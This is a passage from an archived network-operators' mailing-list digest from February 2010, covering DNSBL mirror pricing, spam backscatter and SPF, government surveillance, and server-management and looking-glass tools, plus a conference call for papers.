>customer is probably considered a third party, and making a rbldns >server available to them is disclosing spamhaus' secret DNSBL zone >information.... In my experience, they're pretty reasonable. I would talk to them (or one of their datafeed sales agents) before assuming that they won't sell you the service you need. R's, John From owen at delong.com Sun Feb 21 00:36:48 2010 From: owen at delong.com (Owen DeLong) Date: Sat, 20 Feb 2010 22:36:48 -0800 Subject: "Cyber Shockwave" on CNN In-Reply-To: References: <862133.58195.qm@web59616.mail.ac4.yahoo.com> <72F9A69DCF990443B2CEC064E605CE0608550E@Pascal.zaphodb.org> Message-ID: On Feb 20, 2010, at 8:45 PM, Randy Bush wrote: >> At least the US has a written constitution and the concept of the >> people being sovereign. > > and a room im sf where at&t hands all their internet and voice to the > nsa. right. and the list is long. internet and voie traffic are no > longer private in the least sense. and cisco builds taps into all the > devices. it goes on and on. > Voice over IP over IPSEC is still relatively private. Internet over IPSEC or bi-directional keyed (auth+enc) SSL is still relatively private. Anything else never really was, even if it wasn't the government listening to you before. Agreed about the gov't throwing the constitution out the window, however. Owen From graeme at graemef.net Sun Feb 21 03:07:37 2010 From: graeme at graemef.net (Graeme Fowler) Date: Sun, 21 Feb 2010 09:07:37 +0000 Subject: Spamhaus... In-Reply-To: <20100221062728.8754.qmail@simone.iecc.com> References: <20100221062728.8754.qmail@simone.iecc.com> Message-ID: <1266743257.11091.12.camel@ernie.internal.graemef.net> On Sun, 2010-02-21 at 06:27 +0000, John Levine wrote: > In my experience, they're pretty reasonable. I would talk to them (or > one of their datafeed sales agents) before assuming that they won't > sell you the service you need. They are indeed. In my day job, a large group of related members of different institutions approached our umbrella networking organisation to speak to Spamhaus for the specific reason that we were concerned that; a) between us we were making millions (if not billions) of queries a day to the mirror servers, and b) collective negotiation would make a service available for all of us for far less than individual orgs paying for their own. We now have a "private" mirror, which is accessible only from within the same AS in which we all sit. The load is therefore not on the Spamhaus servers or public mirrors, and we're collectively paying for the service so the service is supported. Everyone wins. Unfortunately (for this discussion) I don't know how much it cost, but I would assume it wasn't much because the lead time between request and service implementation was pretty short. Personally I think Spamhaus are entirely correct to identify and block, or request payment, from heavy users of their _free_ service. A little like the organisations paying many other members of this list will do for heavy data users in a residential or mobile context, in fact - but that's far too controversial an issue to be conflated with this one (oh dear). Graeme From matthew at sorbs.net Sun Feb 21 03:25:48 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Sun, 21 Feb 2010 10:25:48 +0100 Subject: Spamhaus... In-Reply-To: References: <201002202137.o1KLbOxh000784@mail.r-bonomi.com> <6eb799ab1002201457x72110128j3ed8e30458503c53@mail.gmail.com> Message-ID: <4B80FC1C.4090904@sorbs.net> Jon Lewis wrote: > > The original question, "what do you do (or have you done) when DNSBL-X > approaches you saying that your network is hitting their public NS's > too hard and wants you to pay for continued access?" is something I'd > like to see some answers to. Despite the Subject:, Spamhaus is > neither the only DNSBL currently doing this nor the first to watch > statistics on their public NS's and approach networks asking for money > and/or cutting off access if you don't pay. As a matter of interest, who are the other current DNSBL's to do it? Michelle From regnauld at nsrc.org Sun Feb 21 04:30:06 2010 From: regnauld at nsrc.org (Phil Regnauld) Date: Sun, 21 Feb 2010 18:30:06 +0800 Subject: centeralized server management solutions In-Reply-To: References: <20100220213541.GB5426@angus.ind.WPI.EDU> <366100671002201448w4fcfe440u563df5ff5f3f2c6d@mail.gmail.com> Message-ID: <20100221103005.GD77669@macbook.catpipe.net> Matt Kelly (mjkelly) writes: > >>You didn't specify what OS'es you deploy, but for Linux/Red Hat-like > >>systems: PXE boot, Kickstart [1], Puppet [2], Bacula [3]. > >>PXE/Kickstart/Puppet can be managed with Cobbler [4]. Foreman [5] > >>is an alternative for managing Puppet hosts. > > > Any options that also handle Windows Server? A FreeBSD boot CD ? Joke aside, it seems that Puppet already has support for it, contrary to the FAQ: http://reductivelabs.com/trac/puppet/wiki/FrequentlyAskedQuestions#does-puppet-run-on-windows http://reductivelabs.com/trac/puppet/wiki/PuppetWindows Foreman seems to be built on Puppet, as I understand. PXE is well supported: http://technet.microsoft.com/en-us/library/cc722358(WS.10).aspx ... and to finish off, Bacula works like a charm on windows, including registry backups, provided you create the system image backup and schedule it. From cian.brennan at redbrick.dcu.ie Sun Feb 21 08:09:26 2010 From: cian.brennan at redbrick.dcu.ie (Cian Brennan) Date: Sun, 21 Feb 2010 14:09:26 +0000 Subject: "Cyber Shockwave" on CNN In-Reply-To: <72F9A69DCF990443B2CEC064E605CE0608550E@Pascal.zaphodb.org> References: <862133.58195.qm@web59616.mail.ac4.yahoo.com> <72F9A69DCF990443B2CEC064E605CE0608550E@Pascal.zaphodb.org> Message-ID: <20100221140926.GA12831@minerva.redbrick.dcu.ie> On Sat, Feb 20, 2010 at 07:49:25PM -0800, Tomas L. Byrnes wrote: > Right, because GCHQ doesn't/hasn't/never would do such a thing... > > At least the US has a written constitution and the concept of the people being sovereign. > > I'll take that over trusting "Her Majesty's..." whatever. > > But then again, I'm Irish, so I have a bit more direct personal and familial experience of the darker side of British "civilization". (EG: While detention without trial is relatively NEW in the US, it's been a fact of life in the UK for most of its history). And in Ireland too. > > > -----Original Message----- > > From: andrew.wallace [mailto:andrew.wallace at rocketmail.com] > > Sent: Saturday, February 20, 2010 2:13 PM > > To: Randy Bush > > Cc: nanog at nanog.org > > Subject: Re: "Cyber Shockwave" on CNN > > > > --- On Sat, 20/2/10, Randy Bush wrote: > > > > > From: Randy Bush > > > Subject: Re: "Cyber Shockwave" on CNN > > > To: "andrew.wallace" > > > Cc: nanog at nanog.org > > > Date: Saturday, 20 February, 2010, 21:58 > > > > It looks like this demo is > > > > > > a bunch of sick press and sick ex-gov wishtheycouldbeagains > > > trying to > > > get as much mindshare as they can.? and you're helping > > > them. > > > > > > randy > > > > > > > I refuse to let you say I am helping them -- I am from UK, I don't > > agree with them wanting to allow The NSA to take over private sector > > networks or citizens smart phones 'in an emergency'. > > > > Andrew > > > > > > > > > -- -- From rsk at gsp.org Sun Feb 21 08:10:44 2010 From: rsk at gsp.org (Rich Kulawiec) Date: Sun, 21 Feb 2010 09:10:44 -0500 Subject: Spamhaus... In-Reply-To: <3c3e3fca1002201253k1facd608r8de80eee700cdd7@mail.gmail.com> References: <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> <9305.1266688401@localhost> <3c3e3fca1002201253k1facd608r8de80eee700cdd7@mail.gmail.com> Message-ID: <20100221141043.GA13708@gsp.org> [ This discussion really needs to move to spam-l. ] On Sat, Feb 20, 2010 at 03:53:55PM -0500, William Herrin wrote: > I don't know what your spam intake looks like but in mine, 5% to 10% > can't be ranked "high confidence" until checked by an eyeball mark 1. > In my system, that fraction is a candidate for a bounce... unless your > SPF records have told me that the message has a forged sender. I honor > whatever instructions you've made the effort to give me via the sender > policy framework. So, "drink the SPF koolaid or I'll abuse your mail system"? No thanks. > That's the part that really galls me. Instructing my system not to > bounce questionable messages related to yours is entirely within your > control. You don't even have to know I exist; you just put a simple > well-standardized line in your DNS. The instruction you choose to > offer, I'll do all the processing necessary to honor it. This is wrong. Use of SPF, as I pointed out previously, *does not stop backscatter spam*. [1] This is very old news to everyone who's been paying attention on spam-l for the past however-many-years. I suggest a thorough reading of the relevant traffic archived there, where any number of nasty attack scenarios -- some of which are history, not speculation -- have been discussed. Hint: nothing stops the spammers from pointing the MX records for their throwaway domains at somebody else's mail servers. Among other things. MANY other things, unfortunately. The only thing that stops backscatter spam is not sending bounces. [2] Period. Full stop. And sending rejects (that is: issuing 5xx responses during the SMTP conversation) fully complies with the applicable RFCs, so there's no issue there. That's why it's a BCP. And that's why people who don't do it often get (correctly) blacklisted for the spam they will inevitably emit. The days of bounces are over. Gone. Buh-bye. Thanks to 100M+ zombies and all the other factors I previously listed, they are NOT coming back. [3] We could lament it ad infinitum and argue about letter/spirit of the RFCs twice as long, but the immediate operational goal is to reduce the amount of abuse on the 'net, not sustain or amplify it. Given that *at least* 95% of the mail traversing the 'net is junk/abusive (more like 98-99%, but let's be a little conservative) the very last thing any operation should be doing is passing it on or generating more of it. Aside: this is part of a more general principle of SMTP abuse control: do not allow attackers to cause *your* operation to generate outbound traffic to arbitrary destinations of *their* choosing. It's unlikely that they will be kind enough to do so for your benefit or for that of your victims. ---Rsk [1] Neither does DKIM or SenderID or anything similar. [2] As before, "not sending bounces unless the sender is an authenticated user". And also as before, modulo the occasional edge cases. [3] I'm starting to think 200M may be a more realistic current estimate, but the exact number really doesn't matter that much. However large the number is, it's still increasing monotonically and there is at present no reason on the table to think that this trend will reverse. And this is only one of several related problems of large scale and scope that we face. My crystal ball is murky, but I see no reason whatsoever to think that ANY of these problems will be fixed, let alone ALL of them. From vixie at isc.org Sun Feb 21 08:57:31 2010 From: vixie at isc.org (Paul Vixie) Date: Sun, 21 Feb 2010 14:57:31 +0000 Subject: Spamhaus... In-Reply-To: <20100220130823.GA5232@gsp.org> (Rich Kulawiec's message of "Sat\, 20 Feb 2010 08\:08\:23 -0500") References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> Message-ID: Rich Kulawiec writes: > On Fri, Feb 19, 2010 at 08:20:36PM -0500, William Herrin wrote: >> Whine all you want about backscatter but until you propose a >> comprehensive solution that's still reasonably compatible with RFC >> 2821's section 3.7 you're just talking trash. > > We're well past that. Every minimally-competent postmaster on this > planet knows that clause became operationally obsolete years ago [1], and > has configured their mail systems to always reject, never bounce. [2] for smtp, i agree. yet, uucp and other non-smtp last miles are not dead. > [2] Yes, there are occasionally some edge cases of limited scope and > duration that can be tough to handle. ... The key points here are > "limited scope" and "limited duration". There is never any reason or > need in any mail environment to permit these problems to grow beyond > those boundaries. so, a uucp-only site should have upgraded to real smtp by now, and by not doing it they and their internet gateway are a joint menace to society? that seems overly harsh. there was a time (1986 or so?) when most of the MX RR's in DNS were smtp gateways for uucp-connected (or decnet-connected, etc) nodes. it was never possible to reject nonexistent at uucpconnected at their gateway since the gateway didn't know what existed or not. i'm not ready to declare that era dead. william herrin had a pretty good list of suggested tests to avoid sending useless bounce messages: No bounce if the message claimed to be from a mailing list. No bounce if the spam scored higher than 8 in spamassassin No bounce if the server which you received the spam from doesn't match my domain's published SPF records evaluated as if "~all" and "?all" are "-all" i think if RFC 2821 is to be updated to address the backscatter problem, it ought to be along those lines, rather than "everything must be synchronous." -- Paul Vixie KI6YSY From jlewis at lewis.org Sun Feb 21 09:12:13 2010 From: jlewis at lewis.org (Jon Lewis) Date: Sun, 21 Feb 2010 10:12:13 -0500 (EST) Subject: Spamhaus... In-Reply-To: <4B80FC1C.4090904@sorbs.net> References: <201002202137.o1KLbOxh000784@mail.r-bonomi.com> <6eb799ab1002201457x72110128j3ed8e30458503c53@mail.gmail.com> <4B80FC1C.4090904@sorbs.net> Message-ID: On Sun, 21 Feb 2010, Michelle Sullivan wrote: > As a matter of interest, who are the other current DNSBL's to do it? To the best of my knowledge, MAPS was the first to do it. Uribl.com currently does it (and does the sort of query aggregation across your entire? network) that I mentioned. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From tarig at suin.edu.sd Sun Feb 21 17:11:32 2010 From: tarig at suin.edu.sd (Tarig Y. Adam) Date: Sun, 21 Feb 2010 18:11:32 -0500 (EST) Subject: Messages in junk/spam box In-Reply-To: <16255168.3142.1266071713826.JavaMail.root@mail.sustech.edu> Message-ID: <15458993.7091.1266793892722.JavaMail.root@mail.sustech.edu> Hi Messages we send from our mail sever always received at SPAM box in many Public Mail servers like hotmail, yahoo, and gmail. We made a revers dns lookup, and there is no spamming from our server, still messages go to junk. how to solve this. thanx ? This message may contain confidential information?from Sudanese Universities Information Network (SUIN). If you have received this message by mistake, please inform the sender by sending an e-mail reply. At the same time please delete the message and any attachments from your system without making, distributing or retaining any copies Although all our e-mails messages and any attachments upon sending are automatically? virus scanned we assume no? responsibility? for any loss? or damage ?arising from the ?receipt. Sudanese Universities Information Network (SUIN), P.O.Box 321/22, University of Khartoum, 11115, Khartoum, Sudan. www.suin.edu.sd ? From chaim.rieger at gmail.com Sun Feb 21 11:21:18 2010 From: chaim.rieger at gmail.com (chaim.rieger at gmail.com) Date: Sun, 21 Feb 2010 17:21:18 +0000 Subject: Messages in junk/spam box Message-ID: <1524962994-1266772887-cardhu_decombobulator_blackberry.rim.net-57871873-@bda2124.bisx.prod.on.blackberry> You should head over to the mail groups and ask this, more on topic there. Sent via BlackBerry from T-Mobile From matthew at sorbs.net Sun Feb 21 11:32:09 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Sun, 21 Feb 2010 18:32:09 +0100 Subject: Spamhaus... In-Reply-To: References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> Message-ID: <4B816E19.7070100@sorbs.net> Paul Vixie wrote: > so, a uucp-only site should have upgraded to real smtp by now, and by not > doing it they and their internet gateway are a joint menace to society? > > that seems overly harsh. there was a time (1986 or so?) when most of the > MX RR's in DNS were smtp gateways for uucp-connected (or decnet-connected, > etc) nodes. it was never possible to reject nonexistent at uucpconnected at > their gateway since the gateway didn't know what existed or not. i'm not > ready to declare that era dead. > I was running a UUCP gateway not so long ago, and might revive it in the future (got an old school BBS with a UUCP gateway and no SMTP still.) The front end still knew the back end valid addresses though and that's going from a PCBoards BBS to a Postfix SMTP gateway via UUCP. That said there are many out there that refuse on the grounds "I don't have the time to fix it" .. and of course one could retort with "I don't have the time to receive mail from you." I'm on the fence, if it's SMTP there *should* be no reason for the front end not to know valid users at the back end... Something will know the valid list of email addresses, so you *should* be able to get that information to the front end. Michelle * should because there will be edge cases where you can't get the information, but then are there that many emails behind that gateway that couldn't be updated manually? From dot at dotat.at Sun Feb 21 11:49:22 2010 From: dot at dotat.at (Tony Finch) Date: Sun, 21 Feb 2010 17:49:22 +0000 Subject: Spamhaus... In-Reply-To: References: <201002202137.o1KLbOxh000784@mail.r-bonomi.com> <6eb799ab1002201457x72110128j3ed8e30458503c53@mail.gmail.com> <4B80FC1C.4090904@sorbs.net> Message-ID: On Sun, 21 Feb 2010, Jon Lewis wrote: > On Sun, 21 Feb 2010, Michelle Sullivan wrote: > > > As a matter of interest, who are the other current DNSBL's to do it? > > To the best of my knowledge, MAPS was the first to do it. Uribl.com currently > does it And SURBL.org. Tony. -- f.anthony.n.finch http://dotat.at/ GERMAN BIGHT HUMBER: SOUTHWEST 5 TO 7. MODERATE OR ROUGH. SQUALLY SHOWERS. MODERATE OR GOOD. From bill at herrin.us Sun Feb 21 12:01:36 2010 From: bill at herrin.us (William Herrin) Date: Sun, 21 Feb 2010 13:01:36 -0500 Subject: Spamhaus... In-Reply-To: <20100221141043.GA13708@gsp.org> References: <4B7D0D7D.33E4.0097.0@globalstar.com> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> <9305.1266688401@localhost> <3c3e3fca1002201253k1facd608r8de80eee700cdd7@mail.gmail.com> <20100221141043.GA13708@gsp.org> Message-ID: <3c3e3fca1002211001r3a0705f6l13e831e51dad85fa@mail.gmail.com> On Sun, Feb 21, 2010 at 9:10 AM, Rich Kulawiec wrote: > Hint: nothing stops the spammers from pointing the MX records for their > throwaway domains at somebody else's mail servers. ?Among other things. > MANY other things, unfortunately. Rich, Clearly I shouldn't respond to any packets at all. After all, a bad actor can originate packets with a forged source address and I wouldn't want to abuse your network with unwanted echo-replies, syn-acks and rejs. Regards, Bill Herrin -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From bill at herrin.us Sun Feb 21 12:05:57 2010 From: bill at herrin.us (William Herrin) Date: Sun, 21 Feb 2010 13:05:57 -0500 Subject: Spamhaus... In-Reply-To: <20100220234027.7315.qmail@simone.iecc.com> References: <3c3e3fca1002201253k1facd608r8de80eee700cdd7@mail.gmail.com> <20100220234027.7315.qmail@simone.iecc.com> Message-ID: <3c3e3fca1002211005k9268914l3dc5aedfe5d12e5c@mail.gmail.com> On Sat, Feb 20, 2010 at 7:10 PM, Joel Jaeggli wrote: > s/mime detached signatures rooted in some ca that you trust are actually > a rather good way of identifying the sender. Joel, Unfortunately signatures are more effective at confirming authenticity than they are at refuting it. Even more unfortunately, refuting authenticity is vastly more useful in solving the backscatter problem. The nice thing about SPF is that it offers a practical way to *refute* the authenticity of claimed senders even when its use is less than universal. On Sat, Feb 20, 2010 at 5:57 PM, James Hess wrote: > Spurious DSNs can > be discarded easily by the mail server that knows it didn't pass that > message. James, Unfortunately, that's not true. Mailing list software has to use VERP or similar encodings in the from address to successfully map bounces back to the message that caused them. For general-purpose email use, programmaticly mapping bounces back to the original message isn't reliable. On Sat, Feb 20, 2010 at 7:25 PM, Jon Lewis wrote: > IMO, the original question in this thread was on-topic, but unfortunately it > got very little discussion I like spamhaus, they run a quality list, but they want between $1900 and $19000 per year for their rsync service and you have to tell them how many email customers you're supporting in order to pay less than the max. That would be an acceptable price to pay for antispam efforts overall, but I couldn't afford to pay that for *each* of the dozens of services spamassassin consults while analyzing a message. Regards, Bill Herrin -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From matthew at sorbs.net Sun Feb 21 12:11:13 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Sun, 21 Feb 2010 19:11:13 +0100 Subject: Spamhaus... In-Reply-To: References: <201002202137.o1KLbOxh000784@mail.r-bonomi.com> <6eb799ab1002201457x72110128j3ed8e30458503c53@mail.gmail.com> <4B80FC1C.4090904@sorbs.net> Message-ID: <4B817741.10105@sorbs.net> Jon Lewis wrote: > On Sun, 21 Feb 2010, Michelle Sullivan wrote: > >> As a matter of interest, who are the other current DNSBL's to do it? > > To the best of my knowledge, MAPS was the first to do it. Uribl.com > currently does it (and does the sort of query aggregation across your > entire? network) that I mentioned. Can you access MAPS without a subscription at all? As far as SORBS goes, we monitor the individual DNS servers for excessive queries and ask any provider causing excessive queries to run their own local copy. We don't charge for any of it, we don't require them to run a public mirror (though sometimes we ask.) Regards, Michelle From matthias at leisi.net Sun Feb 21 12:15:36 2010 From: matthias at leisi.net (Matthias Leisi) Date: Sun, 21 Feb 2010 19:15:36 +0100 Subject: Spamhaus... In-Reply-To: <4B80FC1C.4090904@sorbs.net> References: <201002202137.o1KLbOxh000784@mail.r-bonomi.com> <6eb799ab1002201457x72110128j3ed8e30458503c53@mail.gmail.com> <4B80FC1C.4090904@sorbs.net> Message-ID: <4B817848.6020801@leisi.net> Am 21.02.10 10:25, schrieb Michelle Sullivan: > As a matter of interest, who are the other current DNSBL's to do it? dnswl.org currently does not do it, but bandwidth suckers are a pain. The work is considerable: log aggregation, log review, trying to find a responsible for the IPs and following up until they finally implement a local copy. We losely define 100k queries/24h to be acceptable. Above that, you should set up your local (private) mirror (and hey, rsync is free!). And there are some entities that do not even acknowledge that a problem exists -- most likely until you turn access off for them. Yes, I can completely understand Spamhaus & Co for limiting access to their public mirrors. (OTOH, blocking access to these abusers is hard since our infrastructure partly relies on donated, shared public DNSBL mirrors.) -- Matthias From jlewis at lewis.org Sun Feb 21 12:32:15 2010 From: jlewis at lewis.org (Jon Lewis) Date: Sun, 21 Feb 2010 13:32:15 -0500 (EST) Subject: Spamhaus... In-Reply-To: <4B817741.10105@sorbs.net> References: <201002202137.o1KLbOxh000784@mail.r-bonomi.com> <6eb799ab1002201457x72110128j3ed8e30458503c53@mail.gmail.com> <4B80FC1C.4090904@sorbs.net> <4B817741.10105@sorbs.net> Message-ID: On Sun, 21 Feb 2010, Michelle Sullivan wrote: >> To the best of my knowledge, MAPS was the first to do it. Uribl.com >> currently does it (and does the sort of query aggregation across your >> entire? network) that I mentioned. > > Can you access MAPS without a subscription at all? At this point, I have no idea. Originally, yes. Even after they "went commercial", IIRC, they were still going to provide free access for "hobbyists" but not for business users. The quality and coverage of their service compared to others that were available became such that I stopped using it and didn't miss it. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From Joel.Snyder at Opus1.COM Sun Feb 21 12:38:11 2010 From: Joel.Snyder at Opus1.COM (Joel M Snyder) Date: Sun, 21 Feb 2010 11:38:11 -0700 Subject: Spamhaus In-Reply-To: References: Message-ID: <4B817D93.2030609@opus1.com> On Sat, Feb 20, 2010 at 7:25 PM, Jon Lewis wrote: > > IMO, the original question in this thread was on-topic, but unfortunately it > > got very little discussion >I like spamhaus, they run a quality list, but they want between $1900 >and $19000 per year for their rsync service and you have to tell them >how many email customers you're supporting in order to pay less than >the max. That would be an acceptable price to pay for antispam efforts >overall, but I couldn't afford to pay that for *each* of the dozens of >services spamassassin consults while analyzing a message. I wonder if the pricing you've got is old. I just did a test of a product and got pricing of $420/year for 600 users when I queried them. Essentially, less than $1/user/user. I understand that you are querying dozens of services with SpamAssassin, but I can guarantee you're not getting value for all that traffic you're generating. In our research, we've found very little value to stacking reputation services. And even stacking content filters can cause more problems than it solves if you don't pick them VERY carefully. Just as an example, last month one of the content filters (think of it as an anti-spam product like SpamAssassin, but NOT including any reputation component) I tested ran with approximately an 81% catch rate. Add in a single reputation filter, and that jumps up to 92.36%. Add in three reputation filters, and the new rate is 92.99%. Add in every single reputation filter I'm testing (that was 32 of them last month) and the rate barely jumped to 93.02%---but the false positive count jumped by 112 messages per 10,000 (because APEWS was somehow having a lousy month). In general, the more reputation services you include, the more likely it is you're going to have false positives. jms -- Joel M Snyder, 1404 East Lind Road, Tucson, AZ, 85719 Senior Partner, Opus One Phone: +1 520 324 0494 jms at Opus1.COM http://www.opus1.com/jms From Joel.Snyder at Opus1.COM Sun Feb 21 12:41:39 2010 From: Joel.Snyder at Opus1.COM (Joel M Snyder) Date: Sun, 21 Feb 2010 11:41:39 -0700 Subject: Looking Glass software - what's the current state of the art? Message-ID: <4B817E63.1080505@opus1.com> We are migrating our web server from platform A to mutually incompatible platform B and as a result the 7-year-old DCL script I wrote that does Looking Glass for us needs to be replaced. (from my comments, looks like I stole the idea from ejk at digex.net...) I'm guessing that someone else has done a better job and I should be just downloading and using an open source tool. What's the current thinking on a good standalone Looking Glass that can be opened to the Internet-at-large? jms -- Joel M Snyder, 1404 East Lind Road, Tucson, AZ, 85719 Senior Partner, Opus One Phone: +1 520 324 0494 jms at Opus1.COM http://www.opus1.com/jms From johnl at iecc.com Sun Feb 21 13:01:36 2010 From: johnl at iecc.com (John Levine) Date: 21 Feb 2010 19:01:36 -0000 Subject: DNSBLs other than Spamhaus... In-Reply-To: Message-ID: <20100221190136.13125.qmail@simone.iecc.com> >>> To the best of my knowledge, MAPS was the first to do it. Uribl.com >>> currently does it (and does the sort of query aggregation across your >>> entire? network) that I mentioned. >> >> Can you access MAPS without a subscription at all? No. A low level subscription is pretty cheap, and I used to have one, paying $140/yr for under 1000 users, but I dropped it when I found that MAPS wasn't providing anything I couldn't get elsewhere. R's, John From LarrySheldon at cox.net Sun Feb 21 13:10:23 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sun, 21 Feb 2010 13:10:23 -0600 Subject: Spamhaus... In-Reply-To: References: <201002202137.o1KLbOxh000784@mail.r-bonomi.com> <6eb799ab1002201457x72110128j3ed8e30458503c53@mail.gmail.com> <4B80FC1C.4090904@sorbs.net> <4B817741.10105@sorbs.net> Message-ID: <4B81851F.1000902@cox.net> On 2/21/2010 12:32 PM, Jon Lewis wrote: > On Sun, 21 Feb 2010, Michelle Sullivan wrote: > >>> To the best of my knowledge, MAPS was the first to do it. Uribl.com >>> currently does it (and does the sort of query aggregation across your >>> entire? network) that I mentioned. >> >> Can you access MAPS without a subscription at all? > > At this point, I have no idea. Originally, yes. Even after they "went > commercial", IIRC, they were still going to provide free access for > "hobbyists" but not for business users. The quality and coverage of their > service compared to others that were available became such that I stopped > using it and didn't miss it. I also have no current information (except personal surprise that they were still around), but I got into anti-spam groups and lists, and learning "sendmail" when our mail started failing left and right. Long story short somebody (HP, our vendor? the previous secretive "admin"? I never did figure out who) had configured all of our sendmail instances to use MAPS, and MAPS had shut off the service--no warning that I know of, no alternative that I know of. I do recall that when we started developing our own tools (in the pre-Postini days) our catch rate went up and our FP rate plummeted. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From patrick at ianai.net Sun Feb 21 13:16:58 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Sun, 21 Feb 2010 14:16:58 -0500 Subject: Spamhaus... In-Reply-To: <3c3e3fca1002211001r3a0705f6l13e831e51dad85fa@mail.gmail.com> References: <4B7D0D7D.33E4.0097.0@globalstar.com> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> <9305.1266688401@localhost> <3c3e3fca1002201253k1facd608r8de80eee700cdd7@mail.gmail.com> <20100221141043.GA13708@gsp.org> <3c3e3fca1002211001r3a0705f6l13e831e51dad85fa@mail.gmail.com> Message-ID: On Feb 21, 2010, at 1:01 PM, William Herrin wrote: > On Sun, Feb 21, 2010 at 9:10 AM, Rich Kulawiec wrote: >> Hint: nothing stops the spammers from pointing the MX records for their >> throwaway domains at somebody else's mail servers. Among other things. >> MANY other things, unfortunately. > Clearly I shouldn't respond to any packets at all. After all, a bad > actor can originate packets with a forged source address and I > wouldn't want to abuse your network with unwanted echo-replies, > syn-acks and rejs. Bill: That is actually somewhat correct. You should not randomly respond to packets at arbitrary rates. If you do, you are being a bad Netizen for exactly this reason. See things like amplification attacks for why. Of course, if you can get proper responses, say TCP sequence numbers, proving the other side really is talking to you, then that limitation is removed. -- TTFN, patrick From jmheralds at gmail.com Sun Feb 21 15:45:42 2010 From: jmheralds at gmail.com (James Heralds) Date: Sun, 21 Feb 2010 16:45:42 -0500 Subject: Call for papers: ISP-10, Orlando, USA, July 2010 Message-ID: <739582dd1002211345m7040973ew3a9486cdabf57c1f@mail.gmail.com> It would be highly appreciated if you could share this announcement with your colleagues, students and individuals whose research is in information security, cryptography, privacy, and related areas. Call for papers: ISP-10, Orlando, USA, July 2010 The 2010 International Conference on Information Security and Privacy (ISP-10) (website: http://www.PromoteResearch.org) will be held during 12-14 of July 2010 in Orlando, FL, USA. ISP is an important event in the areas of information security, privacy, cryptography and related topics. The conference will be held at the same time and location where several other major international conferences will be taking place. The conference will be held as part of 2010 multi-conference (MULTICONF-10). MULTICONF-10 will be held during July 12-14, 2010 in Orlando, Florida, USA. The primary goal of MULTICONF is to promote research and developmental activities in computer science, information technology, control engineering, and related fields. Another goal is to promote the dissemination of research to a multidisciplinary audience and to facilitate communication among researchers, developers, practitioners in different fields. The following conferences are planned to be organized as part of MULTICONF-10. ? International Conference on Artificial Intelligence and Pattern Recognition (AIPR-10) ? International Conference on Automation, Robotics and Control Systems (ARCS-10) ? International Conference on Bioinformatics, Computational Biology, Genomics and Chemoinformatics (BCBGC-10) ? International Conference on Computer Communications and Networks (CCN-10) ? International Conference on Enterprise Information Systems and Web Technologies (EISWT-10) ? International Conference on High Performance Computing Systems (HPCS-10) ? International Conference on Information Security and Privacy (ISP-10) ? International Conference on Image and Video Processing and Computer Vision (IVPCV-10) ? International Conference on Software Engineering Theory and Practice (SETP-10) ? International Conference on Theoretical and Mathematical Foundations of Computer Science (TMFCS-10) MULTICONF-10 will be held at Imperial Swan Hotel and Suites. It is a full-service resort that puts you in the middle of the fun! Located 1/2 block south of the famed International Drive, the hotel is just minutes from great entertainment like Walt Disney World? Resort, Universal Studios and Sea World Orlando. Guests can enjoy free scheduled transportation to these theme parks, as well as spacious accommodations, outdoor pools and on-site dining ? all situated on 10 tropically landscaped acres. Here, guests can experience a full-service resort with discount hotel pricing in Orlando. We invite draft paper submissions. Please see the website http://www.PromoteResearch.org for more details. Sincerely James Heralds From rsk at gsp.org Sun Feb 21 16:27:49 2010 From: rsk at gsp.org (Rich Kulawiec) Date: Sun, 21 Feb 2010 17:27:49 -0500 Subject: Call for papers: ISP-10, Orlando, USA, July 2010 In-Reply-To: <739582dd1002211345m7040973ew3a9486cdabf57c1f@mail.gmail.com> 